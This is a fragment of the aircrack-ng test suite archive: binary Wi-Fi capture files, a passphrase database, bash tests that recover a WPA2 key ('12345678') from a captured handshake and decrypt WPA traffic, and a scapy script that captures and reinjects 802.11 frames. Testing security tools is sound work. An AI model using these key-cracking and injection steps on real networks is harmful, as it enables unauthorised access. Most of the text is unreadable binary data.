óûC¢*Sˆó«†SCnk¦)Í4HèÓ鶈ûççTF?Ó¦"´:›­§öóje"JÃ/[ö•¾s‹5µ†ˆÃ"ÙE¸‘ékmˬG¬GŠé<$.wñ;#cñ FÇ7‚@hjfM’{@fËkÄ«µ–£“ç{߸ߣs’³Ûõ¸xìàÛdx4ªÎY@g¤æjòR!ª…øˆls¢xvaum›)&0YKi6 x0ÌxªmèZçùF1ûdÆèïAM~4/ê¹OšèÒ'ó«#Nò~‘]Km€G(ÃL&rû„¬çf6œNOþî, “Ê™×çÌ?47ÛÙÃP#&ü,F…Úd>ïTPUm->KÜd^aj@Ð΂Þ%+ù<ØÊÏ5ǧ;IznDkHSƒT$Ù›ô<íר]Ä„[9 ¦\NÈ4‚Ò£·TÓ„FSÑoDì|åIHw( QŒé”_ƒ±y!Q´?¬ÄdYD³¨¨A: †Â¤…ÎU˜ïfãä û Ñ9´w&Ô—÷Ðü´o8Ýö¼ºsaH‘°•\Ã* dŒ²dMƒùè:ë‹ky‡`íî—2˲C/$Áý0š+&eŠÈm_µ {P(-wôÿ?‹ŸiDfBuÂ-òíÚrx²‘îqgî9“bµxâ’´G¹cÄ’O‡Õdˆ¯G³à·­ŽFÄdYDÏmm€ÿÿÿÿÿÿ †Â¤… †Â¤…àFò¬µ%d1linksys‚„ US    *0¬¬¬« †¬þÄdYDÙÕ¨¨I: †Â¤…ÎU˜ïfãä û Ñ9´w&Ô—÷Ðü´o8Ýö¼ºsaH‘°•\Ã* dŒ²dMƒùè:ë‹ky‡`íî—2˲C/$Áý0š+&eŠÈm_µ {P(-wôÿ?‹ŸiDfBuÂ-òíÚrx²‘îqgî9“bµxâ’´G¹cÄ’O‡Õdˆ¯G³à·­ŽFÄdYDÿݨ¨A: †Â¤…ÎU˜ïfãä  J‹æ…0´Cp+K¿q²]ÓÿþYQ¯ÿ»¹õ ­ñDŸ¼µ>u®m˜²iܱ­_s?Óñ5w:÷-?©Z˜Eñ3 ·vÉÙV:Çd_|½èþøú%ƒ6BÎ¥³ã^G ¬ªÁ†UÓÀ1ù£8ÚŽ\f]\®=(f½5p(¾„vrE]ÄdYDj.H †Â¤…ÎU˜ï †Â¤…@ÄdYDj/ ÔÎU˜ïÄdYDÙ+H †Â¤…ÎU˜ï †Â¤…PÄdYDÒ/ ÔÎU˜ïÄdYD†Xmm€ÿÿÿÿÿÿ †Â¤… †Â¤…@Gh6·%d1linksys‚„ US    *0¬¬¬« †¬þÄdYDƒ\H †Â¤…ÎU˜ï †Â¤…`ÄdYD~] ÔÎU˜ïÄdYD#¾H †Â¤…ÎU˜ï †Â¤…pÄdYD¿ ÔÎU˜ïÄdYD•èmm€ÿÿÿÿÿÿ †Â¤… †Â¤… GhƸ%d1linksys‚„ US    *0¬¬¬« †¬þÄdYDìH †Â¤…ÎU˜ï †Â¤…€ÄdYDí ÔÎU˜ïÄdYDmPH †Â¤…ÎU˜ï †Â¤…ÄdYDRQ ÔÎU˜ïÄdYD„xmm€ÿÿÿÿÿÿ †Â¤… †Â¤…HhVº%d1linksys‚„ US    *0¬¬¬« †¬þÄdYDÆ|H †Â¤…ÎU˜ï †Â¤… ÄdYDÇ} ÔÎU˜ïÄdYDéÚH †Â¤…ÎU˜ï †Â¤…°ÄdYDµÛ ÔÎU˜ïÄdYD„mm€ÿÿÿÿÿÿ †Â¤… †Â¤…`Hhæ»%d1linksys‚„ US    *0¬¬¬« †¬þÄdYDK H †Â¤…ÎU˜ï †Â¤…ÀÄdYDL  ÔÎU˜ïÄdYD³p H †Â¤…ÎU˜ï †Â¤…ÐÄdYD~q ÔÎU˜ïÄdYD€˜ mm€ÿÿÿÿÿÿ †Â¤… †Â¤…ÀHhv½%d1linksys‚„ US    *0¬¬¬« †¬þÄdYD|œ H †Â¤…ÎU˜ï †Â¤…àÄdYDx ÔÎU˜ïÄdYDxÿ H †Â¤…ÎU˜ï †Â¤…ðÄdYDF ÔÎU˜ïÄdYD‚( mm€ÿÿÿÿÿÿ †Â¤… †Â¤… Ih¿%d1linksys‚„ US    *0¬¬¬« †¬þÄdYD³, H †Â¤…ÎU˜ï †Â¤…ÄdYD®- ÔÎU˜ïÄdYDð‰ H †Â¤…ÎU˜ï †Â¤…ÄdYD³Š ÔÎU˜ïÄdYD¸ mm€ÿÿÿÿÿÿ †Â¤… †Â¤…€Ih–À%d1linksys‚„ US    *0¬¬¬« †¬þÄdYD>¼ H †Â¤…ÎU˜ï †Â¤… ÄdYD0½ ÔÎU˜ïÄdYD- H †Â¤…ÎU˜ï †Â¤…0aircrack-ng-1.2-beta3/test/passphrases.db0000644000000000000000000003400011044352764017054 0ustar rootrootSQLite format 3@  ûû  æñæ test@ Harkonen@ ÑõéÚÑpmk workbench passwd essid æóæ 12345678 biscotte \×®…\'Lþrz¨¶JɳõLrC-¡O®Ù3êQʱ[¼lRçR/pš'LÍךZϰpÇéÑ;‡…Ö9ä0³/1ª7¬‚ZUµU$î'LîQˆ7“¦öŽ–þsÈ :¦òÝ¥7¼æ'¹)<Æåy%'LoèWÀ·BßÂÚŠè±´´bŸ»°`‚kƒËC¶Káè ìì  ôô  èúîôè êóêtest Harkonen ææó 12345678 biscotte àøðèà °°-è_{UtableessidessidCREATE TABLE essid (essid_id integer primary key autoincrement, essid text, prio integer default 64)P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)g)tablepasswdpasswdCREATE TABLE passwd (passwd_id integer primary key autoincrement, passwd text)uQtablepmkpmkCREATE TABLE pmk (pmk_id integer primary key autoincrement, passwd_id int, essid_id int, pmk blob)‚ tableworkbenchworkbenchCREATE TABLE workbench (wb_id integer primary key autoincrement, essid_id integer, passwd_id integer, lockid integer default 0) ðð §C“Ðaªy§O '‚gtriggerdelete_passwdpasswdCREATE TRIGGER delete_passwd DELETE ON passwd BEGIN DELETE FROM pmk WHERE pmk.passwd_id = OLD.passwd_id; DELETE FROM workbench WHERE workbench.passwd_id = OLD.passwd_id; ENDG %‚[triggerdelete_essidessidCREATE TRIGGER delete_essid DELETE ON essid BEGIN DELETE FROM pmk WHERE pmk.essid_id = OLD.essid_id; DELETE FROM workbench WHERE workbench.essid_id = OLD.essid_id; ENDN#iindexlock_lockidworkbenchCREATE INDEX lock_lockid on workbench (lockid);Yindexpmk_pwpmkCREATE INDEX pmk_pw on pmk (passwd_id)Deindexessid_uessid CREATE UNIQUE INDEX essid_u on essid (essid)I kindexpasswd_upasswd CREATE UNIQUE INDEX passwd_u on passwd (passwd)G uindexep_upmk CREATE UNIQUE INDEX ep_u on pmk (essid_id,passwd_id)T indexwb_uworkbench CREATE UNIQUE INDEX wb_u on workbench (essid_id,passwd_id)aircrack-ng-1.2-beta3/test/test-airolib-sqlite.sh0000755000000000000000000000126112223664262020447 0ustar rootroot#! /bin/bash # # Carlos Alberto Lopez Perez # # This will fail ("set -e" + "set -o pipefail") if any error happens. # So: # If this exits with zero the test is correct. Otherwise the test failed # set -e set -o pipefail TESTDIR="$(dirname $0)" tmpfile="$(mktemp -u)" # Clean on exit trap "rm -f "${tmpfile}"" SIGINT SIGKILL SIGQUIT SIGSEGV SIGPIPE SIGALRM SIGTERM EXIT echo Harkonen | ./airolib-ng "${tmpfile}" --import essid - ./airolib-ng "${tmpfile}" --import passwd "${TESTDIR}/password.lst" ./airolib-ng "${tmpfile}" --batch | grep "Computed 233 PMK" ./aircrack-ng -q -e Harkonen -r "${tmpfile}" "${TESTDIR}/wpa2.eapol.cap" | grep 'KEY FOUND! \[ 12345678 \]' aircrack-ng-1.2-beta3/test/wpa2.eapol.cap0000644000000000000000000000144210761053203016641 0ustar rootrootÔò¡ÿÿiÞ–sDͰ ``€ÿÿÿÿÿÿl~@€l~@€aêú1Harkonen‚„‹– 0H*2$`l0¬¬¬›—sDº˜ ƒƒ:Fþ2 l~@€l~@€ ªªˆŽ_Š"XT°DMã¯ÑI+…)„ðLö'L2¸hV†M· Uœ—sD¼.™™,l~@€Fþ2 l~@€0ªªˆŽu Y‹Ã¥ß×ûd#ó@«ž¢»Å†Yà{7d°Þ…pÕ5S‚¸©¸ܯ™Í¯VN¶0¬¬¬œ—sDÁ<»»:Fþ2 l~@€l~@€`ªªˆŽ—Ê"XT°DMã¯ÑI+…)„ðLö'L2¸hV†M· U.î÷ý–ŽÈ î=û‡^‚"7"†rÒÞé0qOhŒWF8<©Tb줫õӣ暃‘õ­‚Lž v7”Æ€*Ó¿E/»|_éõ»Óˆ®UžxÒ~kœ—sD¾hƒƒ,l~@€Fþ2 l~@€@ªªˆŽ_ ȦÄÇ)dçð Cc5Èaircrack-ng-1.2-beta3/test/test-airdecap-ng.sh0000755000000000000000000000316012223663217017700 0ustar rootroot#! /bin/bash # # Carlos Alberto Lopez Perez # # This will fail ("set -e" + "set -o pipefail") if any error happens. # So: # If this exits with zero the test is correct. Otherwise the test failed # set -e set -o pipefail TESTDIR="$(dirname $0)" tmpdir="$(mktemp -d)" # Clean on exit trap "rm -fr "${tmpdir}"" SIGINT SIGKILL SIGQUIT SIGSEGV SIGPIPE SIGALRM SIGTERM EXIT # Test1 cp -f "${TESTDIR}/wpa.cap" "${tmpdir}" ./airdecap-ng -e test -p biscotte "${tmpdir}/wpa.cap" | \ grep "Number of decrypted WPA packets 2" # Check that the hash is what we expect. # For each hash there are two possibilities: little or big endian sha1sum=$(sha1sum "${tmpdir}/wpa-dec.cap" | awk '{print $1}') [[ "${sha1sum}" == "69f8557cf96a26060989e88adfb521a01fc9b122" ]] || \ [[ "${sha1sum}" == "fb1592b2c0dccef542c1f46297394ee2892f8ed3" ]] # Test 2 cp -f "${TESTDIR}/wpa-psk-linksys.cap" "${tmpdir}" ./airdecap-ng -e linksys -p dictionary "${tmpdir}/wpa-psk-linksys.cap" | \ grep "Number of decrypted WPA packets 53" sha1sum=$(sha1sum "${tmpdir}/wpa-psk-linksys-dec.cap" | awk '{print $1}') [[ "${sha1sum}" == "1e75a9af0d9703c4ae4fc8ea454326aeb4abecc1" ]] || \ [[ "${sha1sum}" == "1c3c4123ba6718bd3db66de251a125ed65cd6ee6" ]] # Test 3 cp -f "${TESTDIR}/wpa2-psk-linksys.cap" "${tmpdir}" ./airdecap-ng -e linksys -p dictionary "${tmpdir}/wpa2-psk-linksys.cap" | \ grep "Number of decrypted WPA packets 25" sha1sum=$(sha1sum "${tmpdir}/wpa2-psk-linksys-dec.cap" | awk '{print $1}') [[ "${sha1sum}" == "2da107b96fbe19d926020ffb0da72553b18a5775" ]] || \ [[ "${sha1sum}" == "dc7d033b9759838d57b74db04185c3586cbd8042" ]] aircrack-ng-1.2-beta3/test/replay.py0000755000000000000000000000216012112536537016063 0ustar rootroot#!/usr/bin/env python import sys from scapy import * import pcapy from impacket.ImpactDecoder import * try: conf.verb=0 except NameError: # Scapy v2 from scapy.all import * conf.verb=0 if len(sys.argv) != 2: print "Usage: ./replay.py " sys.exit(1) interface=sys.argv[1] max_bytes = 2048 promiscuous = False read_timeout = 100 # in milliseconds packet_limit = -1 # infinite pc = pcapy.open_live(interface, max_bytes, promiscuous, read_timeout) def recv_pkts(hdr, data): replay = True if data[11] == "\xFF": return # separate ethernet header and ieee80211 packet raw_header = data[:11] + "\xFF" + data[12:14] header = Ether(raw_header) try: # end of separation packet = Dot11(data[14:]) except struct.error: # Ignore unpack errors on short packages return # manipulate/drop/insert dot11 packet print packet.summary() # end of manipulation # construct packet and replay if replay == True: data = header/packet sendp(data, iface=interface) pc.loop(packet_limit, recv_pkts) # capture packets aircrack-ng-1.2-beta3/test/wpa.cap0000644000000000000000000000624410761053203015465 0ustar rootrootÔò¡ÿÿwb†€BÉM Dath0DÕ6dDˆá–yDDD9DD D v€ÿÿÿÿÿÿ “ë°Œ “ë°ŒP‹áödtest‚„‹–*/2 $0H`lÝ“ÝÝPòPòPòPò6‰ †b†€B:[ Dath0DÜ6dDÿî—yDDD=DD D ‡Õ [‘S] “ë°Œ “ë°Œ`ªªˆŽ_þ‰ T­ÆD–mÈB=D6Jéì"AU"½UîqŠS¸ÖyG Åü¾b†€B\ žžDath0DÜ6dDÚï—yDDD&DD D Ô “ë°ŒL“iGb†€B5f //Dath0DÜ6dDûù—yDDD%DD D ŸÕ “ë°Œ [‘S] “ë°Œ9ªªˆŽwþ þ_ [T#_5þ`g »¹Fm†¨´I:ôÏZ󌃇(¨È•·år'¶§îãå4EÝPòPòPòPòˆb†€Bg žžDath0DÜ6dDÏú—yDDD>DD D Ô [‘S]Ž\ñÜb†€BRq //Dath0DÝ6dD1˜yDDD8DD D ŸÕ [‘S] “ë°Œ “ë°ŒpªªˆŽwþÉ T­ÆD–mÈB=D6Jéì"AU"½UîqŠS¸ÖyG R'¸?s|E —i\0x`½ÝPòPòPòPòÇœÄb†€B(r žžDath0DÝ6dD ˜yDDD'DD D Ô “ë°ŒL“iGb†€B¾u Dath0DÝ6dDŸ ˜yDDD'DD D ‡Õ “ë°Œ [‘S] “ë°Œ 9ªªˆŽ_þ þ_ [T#_5þ`g »¹Fm†¨´I:ôÏZ󌃇Ì0=̰²…%sSH RÅc=Ôªˆb†€BŒv žžDath0DÝ6dDs ˜yDDD>DD D Ô [‘S]Ž\ñÜb†€B·z KKDath0DÝ6dD•˜yDDD=DD D »BÕ [‘S] “ë°Œ “ë°Œ€  ÁFÅ­/ ˜ëĺm@ƒ¥½o›Qµ7‡¨+=ýŠÈ<8ùÀ|h;G³ö½CôµY*55¶/@‚Ùx@,d:Â4¾’ ÕÊXpÉJ¬+R꥚f@ò7é¼4è\ëiá r¹×ÚkÝN(Ò¡@¢Ë!¿»µ9/Pbß´Nu‘¾â‰‡ÕNp–:nªä-zA—O%λՓֿA&ñ•ƒ#b†€Bˆ{ žžDath0DÝ6dDp˜yDDD&DD D Ô “ë°ŒL“iGb†€B € ++Dath0DÝ6dDì˜yDDD'DD D ›AÕ “ë°Œ [‘S] “ë°Œ09  „£šëC™Â#®0A»Û½«xŒ9j‘S}^´žYKú¼w¿\§Òo¹Î™H3Têß-’áZ½ò9'è£×6ÑÔÜRN'_“Ù{Æ^ ÍÓö#ñúÅçh¤°[Q¨šóf’8îO1½®—…¬ŸùñÂiʧ7s=s½Aôlb†€BØ€ žžDath0DÝ6dDÀ˜yDDD<DD D Ô [‘S]Ž\ñÜaircrack-ng-1.2-beta3/test/wep.open.system.authentication.cap0000644000000000000000000000066310761053203022771 0ustar rootrootÔò¡ÿÿiî¡·ElÌ HH€ÿÿÿÿÿÿl~@€l~@€ ϱ‚ædteddy‚„‹– Ý ¤ô¡·Ep°:l~@€µ«Ël~@€`ô¡·Eq Ôµ«Ëô¡·Eq°:µ«Ël~@€l~@€`Õô¡·Eo  Ôl~@€ô¡·Ep --:l~@€µ«Ël~@€p1dteddy‚„‹–!&ô¡·Ek Ôµ«Ëô¡·Ep22:µ«Ël~@€l~@€pÕÀ‚„‹–Ý ¤ô¡·Ep Ôl~@€aircrack-ng-1.2-beta3/test/wep.shared.key.authentication.cap0000644000000000000000000000156010761053203022537 0ustar rootrootÔò¡ÿÿi&£ñEÔŽUU€ÿÿÿÿÿÿl~@€l~@€=í2dteddy‚„‹– 0H *2$`lÝ £,£ñE戰:l~@€µˆ¬‚l~@€`,£ñEØŒ Ôµˆ¬‚,£ñE˘  °:µˆ¬‚l~@€l~@€@B€š˜Ÿœ’‘—–”‹‰ˆŽƒ‚€‡…„º¹¸¾½³²°·µ´ª©¯®¬£¡ ¦¥ÛÚØßÞÜÓÑÐÖÕËÊÈÏÍÌÂÁÇÆÄûùøÿýóòð÷öôëéèîíãâàçåä  ;:8?=<21764+*(/-,"!'&,£ñEíž Ôl~@€,£ñE笨¨°H:l~@€µˆ¬‚l~@€p 1whg'_¡k˜ x ²œ]L«OÓxÕІÃWBBƒ"º¦íþ¨Ø߈½ŽbËð&ÊIÎÒ§Îâú>ã+:, å%&£/¨ .¹ÒK¶/?û±ûïí­w¨G¼NîSø’3˜a~Œ&*‘•Ú)êåáx²0–VGŸ©=I3z"RÓ½üèC H±6N-,£ñEΰ Ôµˆ¬‚,£ñEѶ°:µˆ¬‚l~@€l~@€`B,£ñEìX Ôl~@€,£ñEð`77:l~@€µˆ¬‚l~@€€1dteddy‚„‹ –$!%20H`l,£ñEÌd Ôµˆ¬‚,£ñEÏh<<:µˆ¬‚l~@€l~@€pBÀ‚„‹– 0H2$`lÝ £,£ñEíj Ôl~@€aircrack-ng-1.2-beta3/test/wpa-psk-linksys.cap0000644000000000000000000011203012004033544017737 0ustar rootrootÔò¡ÿÿi¤gYD˜H †Â¤…ÎU˜ï †Â¤…:¤gYD¡ ÔÎU˜ï¤gYDÚ%%ÀÎU˜ï †Â¤… †Â¤…Ý †wivast¤gYDã%%À †Â¤…ÎU˜ï †Â¤…Ý †wivast¤gYDS‡ ÔÎU˜ï¤gYD4rH †Â¤…ÎU˜ï †Â¤… :¤gYDs ÔÎU˜ï¤gYDØwÀ:ÎU˜ï †Â¤… †Â¤…ú¤gYDœoo€ÿÿÿÿÿÿ †Â¤… †Â¤…púú˜C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¤gYDpÌ11@ÿÿÿÿÿÿÎU˜ïÿÿÿÿÿÿ°:linksys‚„  $20H`l¤gYDäÐYYP:ÎU˜ï †Â¤… †Â¤…€ú:˜C%d1linksys‚„ US  *ÝPòPòPòPò¤gYDÚI°: †Â¤…ÎU˜ï †Â¤…À:¤gYD K ÔÎU˜ï¤gYDÎM°:ÎU˜ï †Â¤… †Â¤…ú¤gYDÌREE: †Â¤…ÎU˜ï †Â¤…Ð: linksys‚„ ÝPòPòPòPò*¤gYDþS ÔÎU˜ï¤gYD(Y$$:ÎU˜ï †Â¤… †Â¤… úÀ‚„ ¤gYDăƒ:ÎU˜ï †Â¤… †Â¤…°úªªˆŽ_þ‰ W›û¦Ñ]$áÛíEÂb 'úbßfÇ›­Tœ¤gYD° †Â¤…ÎU˜ï †Â¤…pªªˆŽyþ èß¡k‡i•}‚I¤ìhÒ·d7‚.ðÜ7°ÌH4>ÖmEóSŽ­ŽÊU˜Â`îþoQÝPòPòPòPò*¤gYD‰ ÔÎU˜ï¤gYDp,oo€ÿÿÿÿÿÿ †Â¤… †Â¤… ûh–™C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¤gYDZ2››:ÎU˜ï †Â¤… †Â¤…0ûªªˆŽwþÉ W›û¦Ñ]$áÛíEÂb 'úbßfÇ›­Tœ[•L&ç¦<=Ïí‘gºÁÝPòPòPòPò¤gYDªAƒƒ †Â¤…ÎU˜ï †Â¤…€ªªˆŽ_þ ïâm¼oç3ø:¢_¤gYD¶B ÔÎU˜ï¤gYDM··B:ÎU˜ï †Â¤… †Â¤…@û  Ãrk’VrÉZ ÄÁÜF$âY=ɺˆÂÔÃ"[G`ýB(e£é%86T,Y@ξée„ß rÎR@Ž~àla8~úä>FR¦$~È@­?Ç„òDJräqÔ«Mic,ø ¸ˆrºÖv! .Þåð½¤p5 %IØ ¿gáøŠèÔú³»úà0¬(=«„þUX¤gYDo¼oo€ÿÿÿÿÿÿ †Â¤… †Â¤… ûh&›C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¤gYD{q H †Â¤…ÎU˜ï †Â¤…à:¤gYDvr ÔÎU˜ï¤gYDz! H †Â¤…ÎU˜ï †Â¤…ð:¤gYDK" ÔÎU˜ï¤gYDnL oo€ÿÿÿÿÿÿ †Â¤… †Â¤…üh¶œC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¤gYD\P H †Â¤…ÎU˜ï †Â¤…;¤gYD[Q ÔÎU˜ï¤gYDž¯ H †Â¤…ÎU˜ï †Â¤…;¤gYD«° ÔÎU˜ï¤gYD,³ \\A †Â¤…ÎU˜ï^  ¯/÷P±õ¤{ì(*©°Ñnò濤 ÈpÈr³'d!³Y¨-ߘÖqƒ»EžP˜ÙJ•ƒõoPøÈ¤gYD^¹ bbB^ †Â¤…ÎU˜ïü `4`[:ôyœ¨Ûy• 01 `¶Ñ[ÄqjòêÊTÈÏÆí TŒK/S,¥™XGVv:¥ÏVЍþËØ`9ÀŽ©qº¤gYDkÜ oo€ÿÿÿÿÿÿ †Â¤… †Â¤…pühFžC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¤gYDN H †Â¤…ÎU˜ï †Â¤… ;¤gYDI ÔÎU˜ï¤gYD\> H †Â¤…ÎU˜ï †Â¤…0;¤gYDÆA ÔÎU˜ï¤gYDul oo€ÿÿÿÿÿÿ †Â¤… †Â¤…ÐühÖŸC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¤gYDop H †Â¤…ÎU˜ï †Â¤…@;¤gYDèq ÔÎU˜ï¤gYD•‚H †Â¤…ÎU˜ï †Â¤…P;¤gYD¹… ÔÎU˜ï¤gYD‰}}A †Â¤…ÎU˜ïfãä   _t#È‹ '‹†RëR6ý ž?‚ïȦ®6]ì¸ß‘YÂàxë|E§m€K™Ù!°ôQ˜Åì=H ±ó,».•M›Ýèu­ÏbTÕ×oËõË,ü5á©ÔØ<¾ŽؤgYDnŒ}}A †Â¤…ÎU˜ïfãä°  ˆâî"muÅõúŽoÿÈÐÉx+w¾\®8UHŽEwþžÐ›þ¤q)¨vlótÐï 3Îåð üÛÅGÓ.ú‘À`𫼊+.ͤu[Î â³úClRß=¸$;V˜õ¤gYDŒÏllBÔÎU˜ï †Â¤…fãäàü  .à êÉJ”ùyØÞñ+Óê)üCÜJ  )0¿½¶GâªÐ¢HTK „ã‚´î ódzÙ9õOöÁî$#dMæäå¾°©æ‘cÙ)7ˆ³¤gYDkÔ}}A †Â¤…ÎU˜ïfãäÀ  'W. À©?„úƒwË&ˆrC6»› 3O°4ϾIg¿vz±†Â0¿sTäãoуÿŒ?¥ ^CeÚ‰e¢º-ÊÈ„bÁçàoÙt¦Ý´N·ÿváü- ›úãĤgYDiüoo€ÿÿÿÿÿÿ †Â¤… †Â¤…@ýhf¡C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¤gYD¦ýllBÔÎU˜ï †Â¤…fãäPý  –¨ëÖý6çÚ\5KU¾êw=Yø¢=F»x›Ô2î(VW/yDJ>Ó9³¯¥Çq~ú¦ü2É¢˜^èýbóT¢ k¤QÈÆP¤gYD°llJÔÎU˜ï †Â¤…fãäPý  –¨ëÖý6çÚ\5KU¾êw=Yø¢=F»x›Ô2î(VW/yDJ>Ó9³¯¥Çq~ú¦ü2É¢˜^èýbóT¢ k¤QÈÆP¤gYD»}}A †Â¤…ÎU˜ïfãäÐ  ë9(ƒâÀm:G³›g憑0ÇZ\Ô¼sŠ!_:ÜQêì†Ì2³ µÇ¹méÀ3#Bô.e. < eÁû©°rß| –5]Ä{˜¯¿Hí¶ýƒû¨†Æè×ЬÄÛ¥gYD|(H †Â¤…ÎU˜ï †Â¤…`;¥gYDz) ÔÎU˜ï¥gYD H †Â¤…ÎU˜ï †Â¤…p;¥gYD8!H  †Â¤…ÎU˜ï †Â¤…p;¥gYDø! ÔÎU˜ï¥gYDë( Ô †Â¤…¥gYDÇ,\\A †Â¤…ÎU˜ï¿0à  ÈõBfù’Û—:‰Ùê/±’ í_þitv¢ß#"°šzMH÷¾­NËÀÅk§š†¿ xÓ“Œ]é  ¥gYD)Joo€ÿÿÿÿÿÿ †Â¤… †Â¤…Àýhö¢C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¥gYDTL€€BÔÎU˜ï †Â¤…¿0Ðý  f@4´ÊïX4xoˆôX0¯×ÎL¯,p.Т]Üœ£]¥Ð :k§Â3Ô¶›—²Cýb«† Êh@¦œ›g&|ÍN? y›uËìd& †Åq#f)À.; Î!“++4°é)ÖÛ.`«g%$,…¿¶¦ ~À¶ßÖߎ¨ç®•¸­Nwhj¶Ô{6½[ƒùFÛn¨´Íð˜e“jNgÎ8R •q \þFÞÆ#çäýÃ*Ì”æñRÞ`"‰ÞŠü+1¶¹£+¯³ÓÛ=eþªe3)àmÛ#ïàM;º«É˜ö %_³KÈѵ™;ÃÙ˜µ ´Ú$åÒˆÛa§7OM£ã!æ—Z\ò^ ´ÙX…Ù¥¾ý q—^Z”@Æ%(ßéL®)+zuC19~D‡Þ.¾ŠG#Æ´1 NùÿÚ.Ý9ÌמQ$kpü¤õÌå’EKoŒä9ÓÙ·T¯¹ká¥gYDÐP\\A †Â¤…ÎU˜ï¿0ð  ÈÈôhóíƒãv+>ÁÔÒìÄn Tìáç?*"Øwµ¾?>/‚†VQ¡þÄååO§ék*0Z¤¥gYD„V\\A †Â¤…ÎU˜ï¿0  5c Ä¿XO­ÅpòònµU—yä¾ó¨`TýA²ùå¸ ú>ÂpŽºT'‰ߠzÑK‡iœn¥gYDL¼H †Â¤…ÎU˜ï †Â¤…€;¥gYDI½ ÔÎU˜ï¥gYD±H †Â¤…ÎU˜ï †Â¤…;¥gYD ² ÔÎU˜ï¥gYD(Úoo€ÿÿÿÿÿÿ †Â¤… †Â¤…0þh†¤C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¥gYDÈÝH †Â¤…ÎU˜ï †Â¤… ;¥gYDÒÞ ÔÎU˜ï¥gYDVAH †Â¤…ÎU˜ï †Â¤…°;¥gYD)B ÔÎU˜ï¥gYD'joo€ÿÿÿÿÿÿ †Â¤… †Â¤…þh¦C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¥gYDÉmH †Â¤…ÎU˜ï †Â¤…À;¥gYDÒn ÔÎU˜ï¥gYDÌÏH †Â¤…ÎU˜ï †Â¤…Ð;¥gYDÊÐ ÔÎU˜ï¥gYD.Ô§§A †Â¤…ÎU˜ïfãä {‡pŒÞÛå*¢øy†{ä2FŽøÅnàÿºò+Û·9˜“Ö§š‰âÀ¥)/9 r]Ê›Xé_òíŒIš ‰Ófea±lº/ —â[dšdÖ6¦"D83Îsl1Ÿ1ê°fÓcO &Òl¹6’޹]ÌÉ$1ª?/gh\*GÚu¸ë¥gYDí×§§A †Â¤…ÎU˜ïfãä  þÙåB3ƒõÝ’ Š?ÓÎ'"<½/ƒ÷ή3bSwU«1)d¸Úø˜B0 OÓ§ï³¹ø§‘Å¿Ö}ß(´ ;ÆWÇt\§‹Dæ%U])ABª…ung‘Ø”NØí¶äðþVuÈ/º‹wØýßD ¸-s ]~"Ì„ntV⃥gYD'úoo€ÿÿÿÿÿÿ †Â¤… †Â¤…ðþh¦§C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¥gYDe8H †Â¤…ÎU˜ï †Â¤…à;¥gYD\9 ÔÎU˜ï¥gYD}]H †Â¤…ÎU˜ï †Â¤…ð;¥gYDU^ ÔÎU˜ï¥gYD!`€€A †Â¤…ÎU˜ïfãä0 4ÊZwüÂõlSèG1r‰%01 ¿ì³ÿ/}à]ÉåQæp®|˜È~s¯y—]ý,ëVÁ§µ!¸ ëßeua¾¸šbo0Nc7Ø<ìWQõ£Ùþ²Ó –„‚’¿‡¸¥gYDc€€A †Â¤…ÎU˜ïfãä@ ”²À<ðô´…@rO÷5O닽«×¼ì…ª§­Pî Ž–•SŽ+‚_†yÒT¯â©Uàà BàÙƒ\'¯qŽ*"Q°É9¥°šDsÇ]c«*œ“¢6ˆöŽ¥gYDªeããBÔÎU˜ï †Â¤…fãäÿ  ágLÛB刞˜F¶[HéiXÎ9õ‡ÀÒļ„OEƒüŠp—×dÎðO Îkúá­…Í‹¬ú¢Ø£yRÿÿ¬ÑÍíöcÕyÑZÜîGq6wµõ >(JAáu|5ÈŽ´À"ÐÀÔ4õ±’ŽÕ­›êïİøZMX©‹†ëù•ëéÔï0ˆò1°1Tv‘ £&‡P˜Ý5V9‘økrÕ 9Äâý=UcÝ.|8FY1ÀôŸÖïP×J…¥gYD1j€€A †Â¤…ÎU˜ïfãäP èëq­-Ã:õÄÕ{=ó¡0žEwîå­ÃÌ6ࣳtiêPÆÝ”ü¸P{Øj­Ì9ÏSŒI Ýöi>a(â$zܸ?ýRnÎu™1¹HDÃ`Gn-D£… ÜÔ?vuHgr¥gYDŸŠoo€ÿÿÿÿÿÿ †Â¤… †Â¤…`ÿÖ6©C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¥gYD «¼¼BÔÎU˜ï †Â¤…fãäpÿ  {ôäc‘JT75âÅ.Ép!u/|¸Î\Ô{8…“³,ÂH)‹ÉÕ5\€pG)䦯áWÏ qR±é‹Ä?¹>˜ ±›±•˜dËXÕ`ã-*Q,÷i>²R9Ž«ðùë]˜…Ó†§v¨+bVØÕÊY ©$È%|tÂéL‰/‹ú”Lç`.DrG¼±_²¯TEïyim À‘QvoGÄPÓîÜuIò+ Rí¥gYD& oo€ÿÿÿÿÿÿ †Â¤… †Â¤…ðÿhƪC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¥gYD$_ H †Â¤…ÎU˜ï †Â¤… <¥gYD#` ÔÎU˜ï¥gYD{~ H †Â¤…ÎU˜ï †Â¤…0<¥gYD` ÔÎU˜ï¥gYDɪ oo€ÿÿÿÿÿÿ †Â¤… †Â¤…PûV¬C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¥gYDl® H †Â¤…ÎU˜ï †Â¤…@<¥gYDb¯ ÔÎU˜ï¥gYDÍ H †Â¤…ÎU˜ï †Â¤…P<¥gYD· ÔÎU˜ï¥gYD#: oo€ÿÿÿÿÿÿ †Â¤… †Â¤…°hæ­C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¥gYDˆ= H †Â¤…ÎU˜ï †Â¤…`<¥gYD> ÔÎU˜ï¥gYDŒ¢ H †Â¤…ÎU˜ï †Â¤…p<¥gYDl£ ÔÎU˜ï¥gYD#Ê oo€ÿÿÿÿÿÿ †Â¤… †Â¤…hv¯C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¥gYDßÍ 